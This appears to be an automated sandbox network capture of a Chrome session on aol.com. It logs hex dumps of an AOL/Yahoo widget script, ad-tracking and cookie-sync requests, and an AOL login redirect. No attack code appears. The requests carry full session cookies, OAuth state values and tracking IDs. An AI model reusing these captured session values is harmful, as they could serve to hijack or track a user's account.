2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 44 49 53 50 41 54 43 48 45 52 5f 41 4f 4c 5f 48 4f 53 54 20 3d 20 27 68 74 74 70 73 3a 2f 2f 6d 65 6d 62 65 72 6e 6f 74 69 66 69 63 61 74 69 6f 6e 73 2e 61 6f 6c 2e 63 6f 6d 27 3b 0a 20 20 20 20 76 61 72 20 44 49 53 50 41 54 43 48 45 52 5f 59 41 48 4f 4f 5f 48 4f 53 54 20 3d 20 27 68 74 74 70 73 3a 2f 2f 64 69 73 70 61 74 63 68 65 72 2e 79 61 68 6f 6f 2e 63 6f 6d 27 3b 0a 20 20 20 20 76 61 72 20 4e 4f 53 43 52 4f 4c 4c 5f 43 4c 41 53 53 4e 41 4d 45 20 3d 20 27 5f 64 69 73 70 61 74 63 68 65 72 57 69 64 67 65 74 5f 6e 6f 73 63 72 6f 6c 6c 27 3b 0a 20 20 20 20 76 61 72 20 53 54 59 4c 45 5f 54 41 47 5f 43 4f 4e 54 45 4e 54 20 3d 20 22 2e 22 2e 63 6f 6e 63 61 74 28 4e 4f 53 43 52 4f 4c 4c 5f 43 4c 41 53 53 4e 41 4d 45 2c 20 22 20 7b 6f 76 65 72 66 6c 6f 77 3a Data Ascii: DISPATCHER_AOL_HOST = 'https://membernotifications.aol.com'; var DISPATCHER_YAHOO_HOST = 'https://dispatcher.yahoo.com'; var NOSCROLL_CLASSNAME = '_dispatcherWidget_noscroll'; var STYLE_TAG_CONTENT = ".".concat(NOSCROLL_CLASSNAME, " {overflow:
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 34 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 28 31 20 2b 20 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 29 20 2a 20 30 78 31 30 30 30 30 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 74 6f 53 74 72 69 6e 67 28 31 36 29 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 2e 73 75 62 73 74 72 69 6e 67 28 31 29 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 73 34 28 29 20 2b 20 73 34 28 29 20 2b 20 27 2d 27 20 2b 20 73 34 28 29 20 2b 20 27 2d 27 20 2b 20 73 34 28 29 20 2b 20 27 2d 27 20 2b 20 73 34 28 29 20 2b 20 27 2d 27 20 2b 20 73 34 28 29 20 2b 20 73 34 28 29 20 2b 20 Data Ascii: { var s4 = function () { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); }; return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() +
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 62 75 74 65 28 27 73 63 72 6f 6c 6c 69 6e 67 27 2c 20 27 6e 6f 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 44 69 6d 65 6e 73 69 6f 6e 28 69 66 72 61 6d 65 45 6c 6d 2c 20 63 6f 6e 74 65 78 74 2e 68 65 69 67 68 74 2c 20 22 68 65 69 67 68 74 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 73 65 74 44 69 6d 65 6e 73 69 6f 6e 28 69 66 72 61 6d 65 45 6c 6d 2c 20 63 6f 6e 74 65 78 74 2e 77 69 64 74 68 2c 20 22 77 69 64 74 68 22 29 20 26 26 20 63 6f 6e 74 65 78 74 2e 72 65 73 70 6f 6e 73 69 76 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 44 69 6d 65 6e 73 69 6f 6e 28 69 66 72 61 6d 65 45 6c 6d 2c 20 22 31 30 30 25 22 2c 20 22 77 69 64 74 68 22 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 Data Ascii: bute('scrolling', 'no'); setDimension(iframeElm, context.height, "height"); if (!setDimension(iframeElm, context.width, "width") && context.responsive) { setDimension(iframeElm, "100%", "width"); }
2024-05-23 22:35:17 UTC	257	IN	Data Raw: 6e 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 73 61 6e 64 62 6f 78 27 2c 20 27 61 6c 6c 6f 77 2d 73 63 72 69 70 74 73 20 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 20 61 6c 6c 6f 77 2d 70 6f 70 75 70 73 2d 74 6f 2d 65 73 63 61 70 65 2d 73 61 6e 64 62 6f 78 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 27 61 6c 6c 6f 77 66 75 6c 6c 73 63 72 65 65 6e 27 2c 20 27 27 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 69 66 72 61 6d 65 45 6c 6d 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 Data Ascii: n'); iframeElm.setAttribute('sandbox', 'allow-scripts allow-same-origin allow-popups allow-popups-to-escape-sandbox'); iframeElm.setAttribute('allowfullscreen', ''); return iframeElm; }; Presenter.protot
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 65 2e 62 75 69 6c 64 4f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 20 3d 20 57 49 4e 2e 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 65 78 74 2e 74 61 72 67 65 74 45 6c 65 6d 65 6e 74 49 64 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6f 75 74 65 72 43 6f 6e 74 61 69 6e 65 72 3b 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 64 69 73 70 6f 73 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 63 68 Data Ascii: e.buildOuterContainer = function (context) { var outerContainer = WIN.document.getElementById(context.targetElementId); return outerContainer; }; Presenter.prototype.dispose = function (context) { var ch
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 49 64 20 26 26 20 63 6f 6e 74 65 78 74 2e 73 68 6f 77 4f 6e 45 6c 65 6d 65 6e 74 43 6c 61 73 73 2e 63 6c 61 73 73 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 6c 6d 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 65 78 74 2e 73 68 6f 77 4f 6e 45 6c 65 6d 65 6e 74 43 6c 61 73 73 2e 65 6c 65 6d 65 6e 74 49 64 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 21 65 6c 6d 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 63 6f 6e 74 65 78 74 2e 73 68 6f 77 4f 6e 45 6c 65 6d 65 6e 74 43 6c 61 73 73 2e 63 6c 61 73 73 29 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 61 6e 53 68 6f 77 20 3d 20 66 61 6c 73 65 3b 0a 20 20 20 20 20 20 Data Ascii: Id && context.showOnElementClass.class) { var elm = document.getElementById(context.showOnElementClass.elementId); if (!elm.classList.contains(context.showOnElementClass.class)) { canShow = false;
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 20 20 20 69 66 72 61 6d 65 45 6c 6d 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 20 74 79 70 65 3a 20 27 73 68 6f 77 6e 27 2c 20 70 61 79 6c 6f 61 64 3a 20 7b 7d 20 7d 2c 20 64 69 73 70 61 74 63 68 65 72 48 6f 73 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 78 74 2e 69 6e 69 74 69 61 6c 53 68 6f 77 44 6f 6e 65 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 6f 6e 48 69 64 65 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 63 6f 6e 74 65 78 74 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 68 69 64 65 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c Data Ascii: iframeElm.contentWindow.postMessage({ type: 'shown', payload: {} }, dispatcherHost); context.initialShowDone = true; } }; Presenter.prototype.onHide = function (context) { this.hide(document.getEl
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 72 50 72 65 73 65 6e 74 65 72 20 3d 20 2f 2a 2a 20 40 63 6c 61 73 73 20 2a 2f 20 28 66 75 6e 63 74 69 6f 6e 20 28 5f 73 75 70 65 72 29 20 7b 0a 20 20 20 20 20 20 20 20 5f 5f 65 78 74 65 6e 64 73 28 53 74 69 63 6b 79 46 6f 6f 74 65 72 50 72 65 73 65 6e 74 65 72 2c 20 5f 73 75 70 65 72 29 3b 0a 20 20 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 53 74 69 63 6b 79 46 6f 6f 74 65 72 50 72 65 73 65 6e 74 65 72 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 5f 73 75 70 65 72 20 21 3d 3d 20 6e 75 6c 6c 20 26 26 20 5f 73 75 70 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 20 61 72 67 75 6d 65 6e 74 73 29 20 7c 7c 20 74 68 69 73 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 53 74 69 63 6b 79 46 6f 6f 74 65 72 50 72 65 73 65 6e 74 Data Ascii: rPresenter = /** @class */ (function (_super) { __extends(StickyFooterPresenter, _super); function StickyFooterPresenter() { return _super !== null && _super.apply(this, arguments) \|\| this; } StickyFooterPresent
2024-05-23 22:35:17 UTC	1300	IN	Data Raw: 20 73 65 74 44 69 6d 65 6e 73 69 6f 6e 73 46 6f 72 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 2c 20 70 61 79 6c 6f 61 64 2e 73 74 79 6c 65 73 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 50 72 65 73 65 6e 74 65 72 2e 70 72 6f 74 6f 74 79 70 65 2e 73 68 6f 77 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 63 6f 6e 74 65 78 74 2e 69 66 72 61 6d 65 49 64 29 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 74 68 69 73 2e 73 68 6f 77 49 66 43 61 6e 28 63 6f 6e 74 65 78 74 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 20 20 20 20 20 20 20 20 53 74 69 63 6b 79 46 6f 6f 74 65 72 50 72 65 73 65 6e 74 65 72 2e 70 Data Ascii: setDimensionsForId(context.iframeId, payload.styles); } Presenter.prototype.show(document.getElementById(context.iframeId)); this.showIfCan(context); } }; StickyFooterPresenter.p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.6	50565	142.250.184.226	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1534	OUT	GET /pcs/view?xai=AKAOjsttrGzKOwubf-1-f8jDCa0ekTBX7rXXwdBG_70O0-1_6quVGprQon66Sa-9cFKbkqD7Yv9zfBPuOmKdW4LzXhXLcbhqOnpQ4sz6WigX0pfBTzGPlE7HZpQzjQx827BohkL5po6euYR1_KUm6hhcaMws-nZs227FOObj89LkAba6oq_-nODtiG-oy3RKcXlC7osl27gL4HVRgafdUTb4u-jTbxTZjtDN-_WSsw4cPQXb-6DlZPe4ppJEIbAwYrrTX7HJfYv38uo5PsHxI54uZIUeazw3m0HPyLIR5pVacWAyKpTuBvNfw0MszdeZ-4tnUae_w7YDiYEFiBhkO6zzYfbNatXiK13YuRpx1JQ9iKlyfzpeckogUi8kqeAA0JCCOMwrNWuKmw8aQoakCaXBzDV1AkJhFqZbXA8&sai=AMfl-YQMC_cocmBZyeNBQwSiT3GVPfBc9DStgP5SYoCCEOI_w6mkavrPq7FzD-_xwmkkQ2GyC0ri2gl23BTnBlAFk9pJTf2Bj7uXsiYrJIsgdmaaDFNGfLH4BMjVkTEx8Xk&sig=Cg0ArKJSzETrRiEkozICEAE&uach_m=%5BUACH%5D&urlfix=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzQiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTM0Il0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzQiXV0sMF0%3D&adurl= HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://a92b7f3b6891f0e6a0ce2b192513e785.safeframe.googlesyndication.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	981	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 Cache-Control: private Access-Control-Allow-Origin: * Content-Type: image/gif X-Content-Type-Options: nosniff Date: Thu, 23 May 2024 22:35:17 GMT Server: cafe Content-Length: 0 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Thu, 23-May-2024 22:50:17 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Expires: Thu, 23 May 2024 22:35:17 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.6	50570	34.98.64.218	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	875	OUT	GET /w/1.0/sd?id=537072977&val=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; i=fce27513-0e48-41b6-bbf8-6f471e4664ab\|1716503696; univ_id=537072971\|8369ae03-bf51-422b-a15c-33306b0e1dfe\|1716503706850093; pd=v2\|1716503697.17\|iKvPvMgakWgy.bwuYhEgKg2f8
2024-05-23 22:35:17 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 23 May 2024 22:35:17 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.6	50566	212.82.100.140	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1717	OUT	GET /login?dest=https%3A%2F%2Fhelp.aol.com%2F_ns_%2Fnstest.html%3Foidc-return&language=en-US HTTP/1.1 Host: oidc.help.aol.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://help.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A3=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; A1S=d=AQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA&S=AQAAAlZERX4fw-TDfZvF5VfUwFg; cmp=t=1716503681&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; weathergeo=%2240.75%7C-73.98%7CNew%20York%7CNY%7CUnited%20States%7C0%7C12761404%22; __gads=ID=cf34bc004ab85396:T=1716503704:RT=1716503704:S=ALNI_MZnOB51wnrcEWjZprb6rvOJUgClmQ; __gpi=UID=00000e2999aacdfe:T=1716503704:RT=1716503704:S=ALNI_MY9O14HHs8YKl5kfvcdXBhk0EwHkQ; __eoi=ID=a6ae538b18abc9da:T=1716503704:RT=1716503704:S=AA-AfjYto1E7XPavVNBFXiwWpyxq; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14
2024-05-23 22:35:17 UTC	1404	IN	HTTP/1.1 302 Found Expires: 0 Cache-Control: no-store Cache-Control: no-cache Cache-Control: must-revalidate Set-Cookie: OTHN=v=1&ds=dgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b; Domain=oidc.help.aol.com; Path=/; Secure; HttpOnly X-XSS-Protection: 1; mode=block Server: ATS Pragma: no-cache X-Frame-Options: DENY Location: https://login.aol.com?login_hint&src=help&noPrompt=1&.done=https%3A%2F%2Fapi.login.aol.com%2Foauth2%2Frequest_auth%3Fclient_id%3Ddj0yJmk9eTFxY1BPS0tNRFNmJmQ9WVdrOVJFVm1aVlpyTkdjbWNHbzlNQS0tJnM9Y29uc3VtZXJzZWNyZXQmeD01OQ--%26redirect_uri%3Dhttps%253A%252F%252Foidc.help.aol.com%252Fcallback%26response_type%3Dcode%26scope%3Dopenid%2Bopenid2%2Bsdps-r%26src%3Dhelp%26language%3Den-US%26state%3DeyJhbGciOiJSUzI1NiIsImtpZCI6IjZmZjk0Y2RhZDExZTdjM2FjMDhkYzllYzNjNDQ4NDRiODdlMzY0ZjcifQ.eyJyZWRpcmVjdFVyaSI6Imh0dHBzOi8vaGVscC5hb2wuY29tL19uc18vbnN0ZXN0Lmh0bWw_b2lkYy1yZXR1cm4ifQ.u1KMiDZhjiN8fAMUGEk_uuVhHtzdy5lzmK13nu-xBVzK5Qxndf3lkivxoFcvFhkPVQjZsGVnxzWuwxWNxbYOQnq9z7cnGKi6OCA9j8qVlX9AeXs8dO7s6WuivW-oKGbknRYasL0cfSE2YMULTjuFJJSNrzOau-NtMbEHRE9724c%26nonce%3DdgcyvcwbcTlTDkYCWJiBlFuoPJKNXc9b Referrer-Policy: origin Date: Thu, 23 May 2024 22:35:17 GMT X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=15552000 Content-Length: 0 Age: 0 Connection: close Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.6	50562	195.5.165.20	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	708	OUT	GET /cookiesync?gdpr=0&gdpr_consent= HTTP/1.1 Host: core.iprom.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	233	IN	HTTP/1.1 200 OK Vary: Accept-Encoding X-adserver-worker: molok-a73593b4464c@version_1.7.4 Connection: close X-server-arch: v2 Content-Type: image/gif Content-Length: 43 X-core-time: 0ms Date: Thu, 23 May 2024 22:35:17 GMT
2024-05-23 22:35:17 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.6	50568	141.94.161.190	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	708	OUT	GET /pubmatic/cm?gdpr=0&gdpr_consent= HTTP/1.1 Host: green.erne.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:17 UTC	431	IN	HTTP/1.1 302 Found server: envoy date: Thu, 23 May 2024 22:35:17 GMT content-type: text/html content-length: 145 location: https://pixel-eu.onaudience.com/?partner=270&smartmap=1&gdpr=0&gdpr_consent=&redirect=image2.pubmatic.com%2FAdServer%2FPug%3Fvcode%3Dbz0yJnR5cGU9MSZjb2RlPTI4ODQmdGw9MTI5NjAw%26piggybackCookie%3D%25_rid%26gdpr%3D0%26gdpr_consent%3D%25_gdpr_consent x-envoy-upstream-service-time: 0 connection: close
2024-05-23 22:35:17 UTC	145	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.6	50569	87.248.119.252	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:17 UTC	1705	OUT	GET /setuid?bidder=zeta_global_ssp&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=ua-d3a5a567-89dd-33ed-be20-40cbb3087081 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9fX0=; 